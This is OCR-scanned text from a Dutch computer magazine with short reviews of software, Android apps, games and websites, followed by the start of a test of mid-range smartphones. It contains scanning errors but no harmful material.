handig manier de tot nu toe ontbrekende be- 
veiliging toe aan Dropbox. (hhe) 


Boxcryptor 


Versleuteltool voor Dropbox 

Prodijc&nit Atomba, 

WWW.bcDccryptar.coni 

G«sttjriiigssy$teem Wlndciws, AiKlroid 

Prijs gratis, €15 


Digitaal rocken 

Met de versterker- en effectsimulator 
Guitar Rig 5 hoef je dankzij de software 
en de hardwarecontroller geen dure 
of zeidzame studio-apparaten meer te 
kopen, 

De installatie verliep zonder problemen: soft¬ 
ware installerea Rig Kontrol inclusief gitaar in- 
pluggen, programma starten en rocken maar. 
De stabiele Rig Kontrol 3 heeft acht toewijs- 
bare voetschakelaars, een modulatfepedaal en 
een geintegreerde audio-interface. Dankzij het 
ASICFprotocol heb je geen last van merkbare 
latentie: volgens de software was het 8,2 ms. 
Guitar Rig 5 ziet er hetzelfde utt als de vorige 
versie. Versterkers, effecten, opnameapparaat, 
microfoons en boxen sleep je via drag&drop 
naar het virtuele gitaarrack of je loopt met de 
voetschakelaars door de vele presets. Met de 
toetsen FI tot F4 kun je wisselen tussen ver- 
schillendeviews. 

Guitar Rig 5 Pro simuleert intussen 17 ver- 
sterkermodellen en 54 effecten voor elektrische 
gitaren en basgttaren. INieuw zijn de verster- 
kers Hot 5olo+ {Soldano Hot Rod) en Van 51 
(5150). Wat effecten betreft zijn er onder andere 
een Vintage-reverb, een compressor en een 
8-band filterbank bijgekomen. Daarmee wordt 
het geluid vooral ultgebreid in de richting van 
stadionrock uit de jaren '80 in de stiji van Van 
Halen. Alle presets hebben klinkende namen 
en leiden rechtstreeks naar de wereld van de 
grote namen uit de pop- en de rackscene. Je 
kunt natuurlijk ook gewoon Je favoriete appara- 
tuur uitkiezen. Die heeft Native Instruments uit 
licentieoverwegingen overigens iets anders ge- 
noemd, bijvoorbeeld AC Box in plaats van Voc 
AC of Lead 800 in plaats van JCM800. 

Guitar Rig blijft de omvangrijkste en meest 
hoogwaardige versterker- en effectsimulator 
voor gitarlsten, De uitbreidlngen vullen het so- 
wieso a I veelzijdige assort! ment nog extra aan 
met waardevolle apparatuur met een superieur 
geluid. (jmu) 


Guitar Rig 5 Pro 


Verstfirker- en effectsim ulator 

Praduteni Native Instruments, 

WWW,native-1 nstru menis,ct3m 

Systeemeisen Wl adows 7, Mac OS X10.6 

Prljs € 1 so, kit inclusief contrallef ftfg Kontrol € 399 


Toetsverzamelaar 

Keyboard Maestro is een tool voor 
Mac-macro's, waarmee Je hele stukken 
tekst invoegt en programma*s kunt 
aansturen, Bovendien kunjede tool 
via internet op afstand bedienen. 

Keyboard Maestro zet toetscombinatles om in 
woorden en hele zinnen. Dat geldt helaas al¬ 
leen voor niet-opgemaakte tekst, maar daar 
staan heel wat mooie features tegenover. Zo 
kun je met een groot aantal zogenaamde to¬ 
kens voorgedefinieerde teksten dynamisch 
aanvullen met gegevens als het actuele IP- 
adres, de datum of de naam van het iTunes- 
liedje dat je op dat moment aan het luisteren 
bent Nog krachtiger zijn de in versie 5 inge- 
voerde vartabelen. Het programma gebruikt 
die om bijvoorbeeld het middelpunt van het 
act! eve venster te berekenen en de muiscursor 
daarneertezetten. 

Het programma kan zowel AppleScript- als 
shell- en Automator-scripts starten, waardoorde 
mogelijkheden flink wat uttgebreider worden. 
Zo kun je bijvoorbeeld een exportcommando 
met de gewenste instellingen naar het spread- 
sheetprogramma sturen. Keyboard Maestro 
heeft van huis uit vooral systeemgerichte stap- 
pen, zoals het starten en afsIuEten van een pro- 
gramma, hetsturen van meldtngen via Growl en 
het simuleren van muis- en menuactles, 

Je kunt acties niet alleen via het toetsen- 
bord starten, maar ook met andere events als 
het ontwaken uit de slaapstand of het ontvan- 
gen van bepaalde MIDI-tonen. Als je aaies op 
afstand wilt triggeren, kun je ze op een Web¬ 
server klaar zetten, met of zonder wachtwoord- 
beveiliging. 

Als je Keyboard Maestro alleen voor tekst 
writ gebruiken, is dat zonde van je gefd. Maar 
als je onderdelen van de interface geautoma- 
tiseerd wilt aansturen en scripts wilt uitvoeren, 
heb je hiermee een prima tool. (jmu) 

^ Softlinknum 


Keyboard Maestro 5.0.2 


Shortcut-utitity 

Producent Stairways Software, 

www.syirways.com 

Sysieemeisen OS X 10.6 

Prijs € 29 (App Store) $ (producent) 
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Kort voorgesteld | Antidiefstal-app, Intranet-wikl Mailclient 



Verborgen bewaker 

De antrdiefstal-app Theft Aware 
beschermt gestolen Android- 
smartphones tegen nieuwsgierige 
blikken. 

Erzijn tientallen security-apps die de gegevens 
van de gebruiker bijna allemaaf op dezelfde 
manier beschermen. Ze blokkeren en lokalise- 
ren de smartphone op commando op afstand 
en wissen de Inhoud. Theft Aware doet dat ook, 
maar onderscheidt zlch met extra features. De 
EngelstaNge app kan minder snel door de dief 
zelf worden verwijderd en wist gegevens gron- 
diger als dat echt noodzakelijk mocht zijn. 

Je downloadt de setup vanuit de Android 
Market. De app stelt voor het hoofdprogram- 
ma een andere naam voor {bijvoorbeeld 'Cow 
Race')^ waarmee het vervolgens wordt gein- 
stalleerd. Bij de toepassingen zle je de app dan 
niet meet staan^zodat dieven in eerste instantie 
niets verdachts opmerken. Wei staat die met de 
zelfgekozen naam in het toepassingenbeheer. 

In onze test blokkeerde Theft Aware onze 
Samsung Galaxy Tab binnen enkele seconden 
nadat we het sms-commando vanaf een an- 
dere telefoon verstuurd had den. Het antwoord 
van Theft Aware met de gps-positie kregen we 
twee minuten later. De SD-kaart werd grondig 
gewist, onze recovery-tool kon geen foto's 
meer herstellen - dit in tegenstelling tot de 
apps die we in cT 10/2011 hadden getest. De 
producent werkt nog aan een webportal dat 
als alternatief voor het sms-commando zal 
gaan dienen. 

Een ander unicum zijn de fyncties voor ge- 
roote apparaten: nadat we een HTC Desire met 
Cyanogen-mod hadden teruggezet naar de 
fabrieksinstellingen, stond Theft Aware nog 
steeds op de smartphone. Naast het door- 
dachte concept is ook de eenvoudige installatle 
van de app een voordeel. Een Symbian-versie 
zonder de root-functies staat in de Ovi Store. 

(mvdm) 

^ Saftlmklim4J 


Theft Aware 


Antidiefstal-app 

Prod Lucent 

Getest met 
Prijs 


Je eigen Wikipedia 

WikiTwooGo verleent bedrijven 
en particulieren toegang tot een 
MediaWiki, dat als basis weer Wikipedia 
heeft. 

Voor wiki's zijn ved toepassingen te verzin- 
nen - of het nou voor de ideeenbus voor een 
bedrijf is of voor een virtueel schoolschrift. Met 
name het veelzijdige MediaWiki, dat de basis 
vormt voor Wikipedia, is hiervoor erg geschikt 

Je zet a I lee n niet zomaar even een Media- 
Wiki op aangezien je daarvoor eerst een Apa- 
che-webserver, een MySQL-database en run- 
timeomgeving PHP moet inrichtea Daarom 
heeft Twoonix Software de gratis MediaWiki- 
distributie WikiTwooGo voor Windows ontwik- 
keld, die dat allemaal in een keer installeert 
- inclusief (Duitstalige) Firefox. Ook (nstallatie 
op een usb-stick is mogelijk. 

Als je de Standard-versie van het pakket 
hebt gelnstalleerd, weet je in eerste instantie 
echt niet wat je moet doen. De nagenoeg com- 
pleet lege wiki bevat weliswaar links naar de 
Engelstalige handleiding en naar de Ifjst met 
configuratievarfabelen, maar dat is veel te wei- 
nig als je nog amperervaring hebt met wiki's. 

Zo'n handleiding is wel aanwezig in de 
eveneens gratis Educatlon-versie. Sowieso is 
het ook voor bedrijven een aanrader om deze 
schooleditie van WikiTwooGo te installeren. 
Er staan namelijk veel voorbeeldpagina's in, 
zodat je ideeen kunt opdoen voor de structuur 
van je eigen wiki en daarnaast een indruk kiijgt 
van de mogelijkheden van WikiTwooGo, 

WikiTwooGo heeft een gebruikersbeheer, 
Het systeem bewaart de IP-adressen van ge- 
brulkers die niet zijn aangemeld Op die ma- 
nier kun ]e altijd degene achterhalen die een 
pa gin a heeft gemaakt of lets ergens heeft ge- 
wijzigd. Naast een broncode-editor biedt het 
systeem nog een WYSIWYG-editor. WikiTwoo- 
Go-pagina's kunnen bijtagen bevattea maar je 
kunt er niet in zoeken. (mja) 


WikiTwooGo 0.49 beta 


Wfhi-efigine voor intranet of privegebfuilt 

Prod ucent Twoon ix Software, imp://wi kiiwoogo.org 

Systoe milim Windows 2000, X R Vista, 7 

Prt|s gratis, 

usb-stick 4 / 3 GB met Wiki2Go Education: 
€24,95 /€ 39,95 


Postfiliaal 

De e-mailclient Postbox heeft handige 
zoekfuncties, maar biedt alleen voor 
de Mac wat extra's ten opzichte van 
gratis alternatieven. 

De basis van Postbox komt net als bij Thun- 
derbird uit het Mozilla-project. Hierdoor is de 
software zowel beschikbaar voor Windows als 
voor Mac OS X. Voor Microsofts besturingssy- 
steem loom het programma echter nauwelijks 
de moeite om te kopen. Het ziet er namelijk 
predes als Thunderbird uit en kan ook exact 
hetzelfde, alleen is Thunderbird gratis. Op de 
Mac krijg je daarentegen voor hetzelfde geld 
een Mac-gebruikersinterface en extra features 
als een Quick-Look-preview voor bijlagen. 

Bijzonder nuttig is het overzicht voor af- 
beeldingen en andere soorten bijlagen. Post- 
box geeft beide soorten in een afeonderlijk 
overzicht weer, zodat Je ze snet kunt bekijken. 
Van daaruit kun je ze ook snel opslaan of op- 
nieuw versturen. Foto's kunnen ook direct aan 
iPhoto worden doorgegeven. Ook handig is 
het Focus Venster waarmee je berichten snel 
kunt selecteren aan de hand van contaaper- 
sonen, attributen [als bngelezen') en tijdindi- 
caties (Vandaag j. 

Postbox heeft in vergelijking met Mail een 
goede IMAP 4-implementatte. Hierdoor kun 
je je ondermeer op map pen abonneren - een 
must voor iedereen die voor zijn werk met een 
uitgebreide mapstructuur te maken heeft. De 
producent had wat meer aandacht mogen be- 
steden aan het taakbeheer: to-do's belanden 
alleen als e-malls met een spedaal kenmerk in 
de inbox. Een koppeling met een agenda, die 
je met - onder andere - een Thunderbird plug¬ 
in achteraf zou kunnen installeren, zoo mak- 
keiijkerzijn. 

Postbox is voor Mac-gebruikers vanaf OS 
X 10.6 een goed alternatief voor Apple's Mali. 
Voor de Windows-versie moet je systeem min- 
sten s Wl nd ows X P heb ben. (m vd m) 


Postbox 2.5.2 


£-mitiklr€nt 

Producent Po&ta, Inc 

SysieemeiMn OS X 10.6 / Win dows XP 

ofhogei 

PrIJS $29,95; 

€ 24 In Mac App Store 


IT'Agents, www.tlveftaware.com 
Android versie 1.5; Symbian S60 3rd 
Edition 
Android 2.2 

v.a.€ 2,99,7-daagse trial 
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Games | Formule 1'Simulator*Third-person shooter 



Pole position 

Er zijn maar weinig games die 
net zo verslavend zijn als een 
goede Formule 1-simulator en 
met FI 2011 van Codemasters 
is dat niet anders* Racen heeft 
kennelijk een onweerstaanbare 
aantrekklngskracht, ook als je 
verder niets hebt met Formule 
T De nieuwe game staat net als 
de vorige edities m de traditie 
van Formula One Grand Prix* 
dat MicroProse al io 1992 op de 
markt bracht en als een van de 
eerste racegames het mogelijk 
maakte om je auto te tunen en 
zo het rijgedrag te beinvioe- 
den. 


FI 201 T 


Oritwikkel^^r 

www.coctemast^ra.ciHn 
Eesturlngssyvtmri Windows 7, Vista, XP, 
XbQic360,PS3 

Verdsten 2600 MHz multkore cpu, 

2GBRAM,512MagrafMhe 
kaart 

Multiplayer Internet/lAH/spIteaeen 

{lfi/16/2) 

1dee©@ Uitvoerlng® 

Plezier ®@ Lange termljr O 

€30 

zeer goed @ goed O voltk>ende© sledit 
0© zeer sledit 


F1 2011 geeft de teams en de 
racebanen van het actuele For¬ 
mule 1-seizoen weer en houdt 
ook rekening met de aanpassin- 
gen in de regels van het afgelo- 
pen Jaar. Met KERS en DRS kun je 
bijvoorbeeld het rijgedrag ook 
daadwerkelijk beVnvIoeden en 
je kunt fikse straffen krijgen als 
je tegen het verkeer in de pits in 
wilt rijden. 

Onder andere de physics en¬ 
gine is door de ontwikkelaars 
verbeterd, waardoor de game 
een nog realistischere race-erva- 
ring biedt Banden kunnen afsllj- 
ten en dat zul je goed merken in 
de bochten. Bovendiert zijn de 
details ten opzichte van de voor- 
gaande versie opgeschroefd 

in de carrieremodus kun je, 
als je vaardig genoeg bent, uit- 
groeien van een beginnend 
Fl-coureurtje tot een kansheb- 
ber die meestrijdt om de 
wereldtitel ... of niet. 

Codemasters heeft 
met FI 2011 ook 
gedacht aan de 
casual gamer. 

De game biedt 
talrijke rij- 


asslstenten die 
bijvoorbeeld 
het uitbreken 
in de bochten 
onderdrukken 
en zelfs het 
remmen kun¬ 
nen overne- 
men. Zet je die 
uib dan wordt 
het racen een 
stuk moeilijker 
en natuorlijk 
een stuk rea- 
listischer. En dan krijgt het spel 
je pas echt in zijn greep. Want 
vergeleken met een norma le 
familieauto is een Fl-bolide 
een levensgevaarlijk brullend 
monster. Denk dus niet dat Je 
op eigen kracht meteen soe- 
pel en snel door de bochten 
been glijdb daar b wel veel oe- 
fening voor nodig. Bovendien 
zijn je computergestuurde 
concurrenten sinds de 
2010'versie ook weer 
een stuk slimmer 
geworden. 

De multiplayer- 
modus biedt drie 
verschillende op- 


ties. Met splitscreen kun je op 
dezelfde pc tegen iemand an- 
ders racen. Daar heb Je dan wel 
twee sturen voor nodig. Je kunt 
ook via het I oka I e netwerk of via 
internet racen, waarbij je met 
maximaal 16 anderen de strijd 
kunt aangaan. Bijzonder is het 
cooperatieve Wereldkampioen- 
schap* waarbij teamgeest en 
renstalgevoel de boventoon 
voeren. 

FI 2011 is een fijne racesimu- 
latie, die ook de casual gamer 
niet vergeet. De multiplayer 
biedt genoeg mogelijkheden 
om er een spannende wedstrijd 
van te maken. (jsc) 




One man army 

Met Shadowgun krijg je conso- 
le-gamekwaliteit op je iPhone/ 
IPad. Het verhaal is simpel: in 
de verre toekomst zetten inter- 
galactische maatschappijen 
huurlingen in om hun concur- 
renten een kopje kleiner te 
maken. Shadowguns zijn de 
elite en opereren m hun eentje. 
Zo moet je als John Slade ene 
Dr. Simon gevangennemen die 
er een mutantenleger op na- 
houdt. Als 'lone ranger" krijg 
je hulp op afstand van je char- 
mante (maar helaas androide) 
assistente S.A.R.A. Na een crash¬ 
landing op de planeet van de 
doctor moet je Je weg zoeken 
door een labyrint van fabrieks- 
ha lien, die een erg mooie ar- 
chitectuur hebben in de stiji 
van rond 1900. Er zijn diverse 
verdiepingen die je met liften 
kunt bereiken. In elke ruimte 
staan barricades van hout of 
staat waar jeje achter kunt ver- 
schuilen. Via computerpane- 
ien moet je deuren openen en 
laserstfalen uitschakelen. Soms 
moet je een toegangscode 
'hacken' om een slot te ope¬ 


nen. Aan munrtie geen gebrek, 
overal staan kisten met ammo 
en elke gedode tegenstander 
laat een magazijn vol patronen 
achter. De Al van de tegenstan- 
ders is overigens niet geweldig, 
Ze zoeken dekking en proberen 
je te omslngelen, maar vroeg of 
laat geven ze zich toch volledig 
bloot. Ze gebruiken geen gra- 


naten. Je vecht overigens niet 
alleen tegen mutanten, maar 
ook tegen stationaire, vliegen- 
de en kruipende battled rotds. 

De kracht van dit spel is de 
eenvoudige en intuTtieve bedie- 
ning. Met je linkervinger bedien 
je een virtuele joystick* met je 
rechtervinger kijkje om je been, 
bedien Je de vuurknop en her- 


laad je je wapen. Hurken om 
dekking te zoeken doet John 
automatisch wanneer hij tegen 
een barricade aanloopt 

De graphics die door de 
Unity 3D Engine gegeriereerd 
worden* zijn verbluffend moot. 
Maar er zitten nog wel wat 
vervelende bugs in. Je kunt in 
level 2 bijvoorbeeld achter een 
munitiekist gaan staan en opje 
gemak de eindbaas afknalten* 
onkwetsbaar voor zijn raket- 
ten. 

De singleplayerversie is ook 
in de hoogste moeilijkheids- 
graad nog wat te makkelijk. Het 
lijkt allemaai een vingeroefe- 
ning voor de nog ontbrekende 
multiplayeroptie* waar door 
de ontwikkelaars aan gewerkt 
wordt. (Jmu) 


Shadowgun 


Ontwikkelaar Madfinger Ga mes 

Systeem iOS v.a. 4.2 / Android (verwacht) 

Multiplayer zal nog ver^ljnen In een eKtemlon 

Idee® UitvoeringS 

Plei ier ® Lange termljn © 

12+€559 
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Online 


Overnachten bij particulieren 

WWW, hos pita i ity cl u b,org 
www,couchsurfing.org 
w w w,g I o ba I f ree I oa d e rs 

Backpackers kunnen via internet een gra¬ 
tis overnachting bij een particulier rege- 
len. Via een database kan een gastheer zijn 
verblijfsmogelijkheid melden< waarna een 
relziger contact met hem kan opnemen. 
Bij de diensten kun je ook rondleidingen of 
sightseeingtours afspreken, vaak ver van het 
massatoerisme. De online diensten zijn voor 
beide partijen in principe gratis. Er wordt wat 
extra veiligheid geboden door bijvoorbeeid 
te eisen dat gasten zich kunnen legitimeren. 
Dit soort netwerken is eral langen maardoor 
het internet en de bijbehorende informatie- 
uitwisseling Is er een enorme sprong voor- 
waarts gemaakL Dergelijke nieuwe netwer- 
ken zijn de oldies' in de offline wereid allang 
voorbijgestreefd. 

Een van de oudste internetdiensten van 
deze soort is de meer dan tien jaar geleden 
opgerichte Hospitality Club met inmiddels 
meer dan een half miljoen leden, De website 
biedt een reiswiki en forums. De overnach- 
tingen zijn net als de dienst gratis, maar voor 
extra's zoals maaltijden en telefoongebruik 
kunnen de gastheren een vergoeding vragen. 

Het aantal leden van de enkele jaren jon- 
gere dienst Couchsurfing is duidefijk groter. 
Dat komt doordat Couchsurfing niet beperkt 
is tot het bemiddelen met gasten, maar ook 
veel functies van een sociaal netwerk biedt, 
zoals een planner voor evenementen van de 
leden. 

De kleinste hier genoemde dienst is Glo¬ 
ba IFreeloaders met slechts' 30.000 gebrui- 
kers. Deze vraagt van efke deelnemer dat 
hij zelf ook als gastheer zal optreden* Deze 
dienst is vooral voor reizigers naar Australia 
interessant, want daar is hiJ bijzonder popu* 
lair. 



Online 


Sherlock 

w w W.5 m i n ute my ste ry.co m 

Detect! ve verb a ien weten ons a I eeuwen te 
boelen. Dat gaat al terug tot het Bijbeiver- 
haai van de kuise Susanna die door de pro¬ 
feet Daniel gered wordt van de doodstraf 
vanwege een valse beschuldiging. Sinds 
Voltaire's Zadtg en EXA Hoffmanns Das Frau- 
lein von Scuderi heeft de detective ook in de 
Westerse literatuur een eigen plaats weten 
te veroveren. 

Het blijft boeiend om alleen op basis van 
de sporen op de plaats delict en door ge- 
sprekken met de verdachten de waarheid 
boven tafel te krijgen. De website 5 Minute 
Mystery geeft je de kans om jezeff als de¬ 
tective te bewijzen. Van origine is het een 
website met een abonnementsmodel, maar 
een sponsor neemt sinds maart de abon- 
nementskosten voor zijn reken ing, zodat 
je nu gratis in de 200 korte whodunits kunt 
rondsnuffelen en zelf kunt uitzoeken wie de 
dader is. Voor de meer ambitieuze leden zijn 
er ook onderlinge competitles en de moge- 
lijkheid in een 'league' te spelen. 



Horn® fipkI’ilVowi 

Online 5 Minute M>^teries 
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Fighting Foodons 

www,a kismet,com 

Als je een blog hebt of regelmatig als gast 
bijdragen op een blog schrijft, ben je on- 
getwijfeld bekend met het fenomeen dat 
er van de ene dag op de andere plotseling 
meer leven in de brouwerij lijkt te komen - 
totdat je ontdekt dat een troll probeert om 
de 'regulars' op te hitsen of een spammer 
de blog heeft ontdekt en met zijn berichten 
probeert om de bezoekerste overtuigen van 
het nut van zijn product - meestal met een 
averechts effect. Bovendlen is er dan nog 
de zogenaamde trackback-spam - spam die 
ontstaat doordat een spammer vanaf een 
andere plek reageert op jouw blogpostmg, 
waarnaar op jouw blog dan een link komt te 
staan. 

Maar voor de eigenaar of beheerder van 
een blog betekent dit extra werk: alle pos¬ 
tings moeten apart bekeken worden en 


alle backlinks desnoods verwljderd. Vooral 
dat laatste is een heel karwei. Daarom zou- 
den postings eigen!ijk vooraf gecontroleerd 
moeten worden. 

Akismet is een dienst die dat voor je doet. 
Gratis voor prive-blogs, en voor een kleine 
vergoeding voor zakelljke exploitanten. 
Akismet controleert leder commentaar en 
iedere backlink die op jouw blog gaat ver- 
schijnen. Aangezien spammers de neiging 
hebben om veel gelljksoortige berichten 
over een groot aantal verschillende bronnen 
te verspreiden, krijgt Akismet snel door wat 
er gaande is, en worden verdachte berichten 
in een aparte container gezet, net als een 
spa mfiIter voor de e-mail. En net als bij een 
goed spamfilter kun je achteraf altijd nog 
beslissen of bepaalde commentaren wellicht 
toch geen spam zijn en die weer activeren. 
Daar leert Akismet weer van om het in toe^ 
komst nog beterte kunnen doen. 

Space Dive 

http://s o la rsy ste m, n a sa ,g ov/eyes/ 

Bemande ruimtevaart is met uitzondering 
van een aantal uitstapjes naar de maan en 
de IIS nog steeds scienceflction. Als je je 
aangetrokken voelt tot ruimtereizen, biedt 
NASA je die virtueel aan op je pc. Op Eyes on 
the Solar System begeleid je Voyager, Juno 
en andere ruimtevaartuigen op hun vlucht 
door het zonnestelsel of reis je geheel op 
eigen houtje, Daar moet je wel de Unity Web 
Player voor installeren, een plug-in voor Win¬ 
dows en Mac OS. De optionete 3D-modus is 
met een simpele roodcyaanbril te gebruiken. 

Afhankelijk van de missie opent de plug¬ 
in verschillende gezichtspunten of krijg je 
informatie over de hemellichamen. Op een 
tijdpljl reis je naar het verleden of de toe- 
komst, het relstempo kun je zelf met een 
regelaar instellen, Het programma wil een 
beter begrip voor ingewikkelde ruimte- 
missies bevorderen. 


^ ^Tpgnc.ii« 
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Dudley Do-Right 

http://make-everything-ok.com 

Europa dreigt uit elkaar te vallen, de finan- 
ci8e markten bereiden de volgende crisis 
voor, je baan biedt geen uitdaging en de 
winter komt er weer aan - Is er dan niemand 
die alles weer goed kan maken? Ja, dat kun 
je namelijk zelf. Een druk op de knop Make 
everything OK is voldoende... 
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Achim Barczok, Hannes Czerulla 

De nieuwe middenklasse 

Smartphones tussen 200 en 350 euro 

Er blijven maar nieuwe smartphones uitkomen. De topmodellen kosten 
evenveel als een notebook. Maar gefukkig bewijzen de huidige midden- 
klassenmodeflen met Android, Symbian of Windows Phone 7 dat het 
ook goedkoper kan. Bovendien zrjn enkele topsmartphones van het 
afgelopen jaar nu ook voor minder dan 100 euro te koop. 
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Test I Smartphones 


M iddenklasse - dat klinkt als mJddeh 
matig. Maar daar is geen sprake van! 
Smartphones van zo'n 300 euro bie- 
den niet alleen een complete telefoon-, surf- 
en app-uitrusting, maar soms ook hardware 
die je alleen in modeflen uit bet topsegment 
zou verwachten. 2e hebben een snelle pro¬ 
cessor en een display met een hoog kleur- 
contrast en een hoge resolutie. Er zijn slanke 
en elegante touchscreentelefoons m deze 
kiasse, maar ook de solide schrijfmachines 
met een Qwerty-toetsenbord, Bijna elke 
week verschijnt er wel een nieuwe Android^ 
smartphone, maar ook Microsoft probeert 
met Windows Phone 7 in samenwerking met 
partners a Is Nokia voet aa n de grond te krrj- 
gen in de smartphonemarkt. Ondertussen 
dalen de prijzen van enkele topsmartphones 
drastisch, soms a I enkele maanden na de 
marktmtroductie. 

We bekeken in deze test zeven nieuwe 
smartphonemodellen: HTCs Facebook-tele- 
foon ChaCha en de Wildfire S, Nokia's E6 en 
X7, de Samsung Galaxy Ace evenals de beide 
Sony Ericsson-toestellen Xperla mini pro 
en Xperia ray. Helaas bereikten de zakelljke 
smartphones Motorola Pro, de Galaxy S Plus 
en de Nokia 500 ons niet meer op tijd om 
mee te kunnen nemen tn de test Ook HP's 
Veer ging niet mee, omdat deze smartphone 
na HP's bliksemsnelle verkoopstop van alls 
mobiele apparaten intussen niet meer ver- 
krijgbaar is- Samsung heeft een tijdje ook 
een verkoopstop ingelast omdat sommlge 
apparaten volgens de rechten indruisden 
tegen patenten van Apple, maar inmiddels 
zijn deze, al dan niet met een kleine wijzl- 
ging, weei te koop. 

Deze zeven smartphones wilden we ver- 
gelijken met enkele modellen uit de voorma- 
lig topkiasse. Twee hiervan bleken nog erg 
interessant en zelfs nog relatief actueeL Het 
gaat om de Google-smartphone Samsung 
Google Nexus S en de Android-smartphone 
LG Optimus Speed. Andere smartphone- 
koopjes, waaronder enkele Windows Phone 
7-toestellen, staan in het kader op p>47. 

Alle geteste apparaten zijn zonder uitzon- 
dering goed uirgerust. GPS (inclusief loca- 
tiebepaling via wlan en mobiei netwerk) en 
Bluetooth zijn net zo standaard als het snelle 
wlan op basis van IEEE 802,1 In. Overigens 
ondersteunen ze geen van alle de 5GHz- 
band. De smartphones hebben een goede 
spraakkwaliteit en werken allemaal op de 
gebruikelijke vier GSM- en twee UMTS-fre- 
quentiebanden. Je kunt er data mee down- 
loaden met een snelheid tot 7,2 Mbit/s 
(HSDPA) - de beide Nokia's haaiden zelfs een 
snelheid van 10,2 Mbit/s. Wat uplink betreft, 
ontbreekt de data-accelerator HSU PA (HB 
Mbit/s en meer) alleen bij de HTC Wildfire S, 
de HTC ChaCha en de Samsung Galaxy Ace* 
Deze toestellen komen daardoor niet verder 
dan maximaal 384 KbIt/s* 

De grote verschillen tussen de smartpho¬ 
nes zitten vooral m de processor en de grafi- 
sche chip. Alleen de twee voormalig topmo- 
dellen en de beide Sony Ericssons hebben 
een Gigahertzprocessor en goede GPU's. De 



HTC ChaCha; goede Facebook-integratie, 
bruikbaar toetsenbord, Eange accuduur, 
slechte camera* 


overige toestellen zitten bij intensieve ani- 
maties of zwaardere games al snel aan hun 
grenzen en draaien dan niet meerzo soepel. 

Het grootste verschil zit echter in het be- 
sturingssysteem: Android, Symbian of Win¬ 
dows Phone 7. De basisuitrusting van de 
software geeft meestal de doorslag, evenals 
de uitbreidingsmogelijkheden en de zeker- 
heid van updates in de toekomst. Windows 
Phone 7 kreeg in September een update naar 
versie 7*5 'Mango', maar bij redactlesluiting 
was er nog geen testtoestel met deze versie 
beschfkbaar. Beide Nokia-toestellen draaien 
op de nieuwe Symbian-versie 'Anna'. De 
meest recente Android-versie is versie 23.4, 
inmiddels al beschikbaar voor de Google 
Nexus S. Sony en HTC lopen maar een klein 
beetje achter met versie 2,33. Zowel de Op¬ 
timus Speed als de Galaxy Ace gebrulken 
nog het verouderde Android 2.2 (Froyo), al is 
voor beiden al langere tijd een update naar 
versie 23.3 aangekondigd 

HTC ChaCha 

Het bijzondere aan de tamelljk breed uit- 
gevallen HTC ChaCha is de Facebook-knop 
onder aan het toetsenbord* Daarmee start je 
op het startscherm en in de meeste apps het 
Facebook-prikbord* In een paar spedaal aan- 
gepaste apps licht de knop op als je er met 
Facebook kunt communiceren* Met een druk 
op de knop verstuur je dan foto's en video's* 
Op het prikbord kun je laten zien naar welke 
muziek je aan het luisteren bent of op welke 
website je op dat moment bent. De overige 
Facebook-functies zijn standaard voor HTC's 
Android-interface Sense: een startscherm- 
widget informeert over nieuwe berichten en 
contacten en berichten worden netjes in het 
adresboek geintegreerd. 

Het kleine, kijkhoekafhankelijke display 
van de ChaCha is voor Android wat onge- 
woon. Met een grootte van 5,5 cm x 3,7 staat 
het beeldscherm standaard in landschaps- 
modus en dat zorgt voor de nodige beper- 
kingen. Teksten zijn bijvoorbeeld moeilijk 



HTC Wildfire S: elegante HTC-interface, 
middeimatig display en camera, korte 
accudiiur. 


leesbaar en van de meeste websites past 
niet meer dan de header op het scherm. 
Daardoor ben Je continu aan het scrollen, 
Veel apps uit de Market werken niet fijn op 
de ChaCha omdat de meeste voor gebruik in 
portretmodus ontwikkeld zijn* De weergave 
van 3D-games en compiexere websites is 
behoorlijk schokkerig, de ChaCha geeft de 
meeste Flash-websites zelfs helemaal niet 
weer. In teder geval is de bedienlng via het 
toetsenbord en het touchscreen wel vioei- 
end. 

Het toetsenbord heeft vier rijen toetsen. 
Je kunt er met twee duimen goed op typen, 
a[ zijn de pijitjestoetsen wel extreem klein 
en de spatiebalk wat aan de korte kant. De 
a ecu Is vrij snel teeg en de fotocam era maakt 
donkere foto's met een roodzweem. 

HTC Wildfires 

De HTC Wildfire S behoort samen met de 
Xperla mini pro tot de kleintjes tn de test. 
Ondanks de kleine afmetingen figt het toe- 
stel stevig in de hand en Is het ook met e4n 
hand goed te bedienen* Het toestel is uit 
hoogwaardig materiaal vervaardigd en de 
weinige knoppen zijn solide uitgevoerd. 

HTC heeft de eigen bedieningsinterface 
HTC Sense 2,1 over het besturingssysteem 
Android 2*3,3 been gelegd, Dat biedt een 
aantal nuttige extra's, zoals een geanimeer- 
de weerwidget en een goede integratie 
van Facebook en Twitter m het adresboek* 
Ook het ontgrendelscherm en het hoofd- 
menu zien er dankzij de Sense-interface 
elegant uit. De bedlening van de Wildfire S 
is vloeiend, maar de internetbrowser geeft 
compiexere websites vaak schokkerig weer 
tijdens het scrollen* Ook video's en Flash 
draaien zelden gesmeerd. 

Het display is wat kleuren en contrast be- 
treft middelmatig* In direct zonlicht wordt 
het al snel onleesbaar door de niet bijzon- 
der hoge lichtsterkte, De camera neigt naar 
kteurruls en een rode waas in het midden. 
De accuduur is een van de slechtste in de 
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test. De Wildfire S houdt het zelfs bij nor- 
maai gebruik zelden langer dan een dag 
voL 

LG Optimus 2X Speed 

De Speed is een vrij massief, maar nog net 
hanteerbaar toestel. De afwerking is netjes 
en het ziet er chic uit. Binnenin zit de beste 
hardware van afle geteste apparaten. Dankzij 
de dualcoreprocessor Tegra 2 in combinatie 
met de grafische chip van Nvidia behaalt de 
smartphone bij de CPU- en GPU-benchmarks 
over de gehele linie de beste resultaten, 
Animaties draaien viot en de Speed speelt 


1080p-video's zonder vertraging of schokken 
af- zelfs a Is het toestel via de HDMI-uitgang 
is aangesloten op een televisre, Ondanks de 
hoge prestaties houdt de smartphone het 
bovengemiddeld lang uit op een acculading. 

De Optimus Speed bevalt sowleso goed 
a is multimediasmartphone, Zowel de mu- 
ziek- als de videospeler kunnen met veel for- 
maten en bftrates overweg en bieden talrijke 
instelmogelijkheden. De 8-megapixel camera 
maakt mooie, zij het niet geheel kleurechte 
foto's, die je ook op het 4'“-beeldscherm 
goed kunt bekijken. Het grote scherm biedt 
een hoog contrast, krachtige kleuren en een 
lage kijkhoekafhankelijkheid. 


Dankzij de gevoelige gyroscoop is de Speed 
ook met kleine bewegingen te besturen. Je 
kunt de cursor in een tekstveld verschuiven 
door de smartphone een beetje schuin te 
houden, of op die manier door de fotogale- 
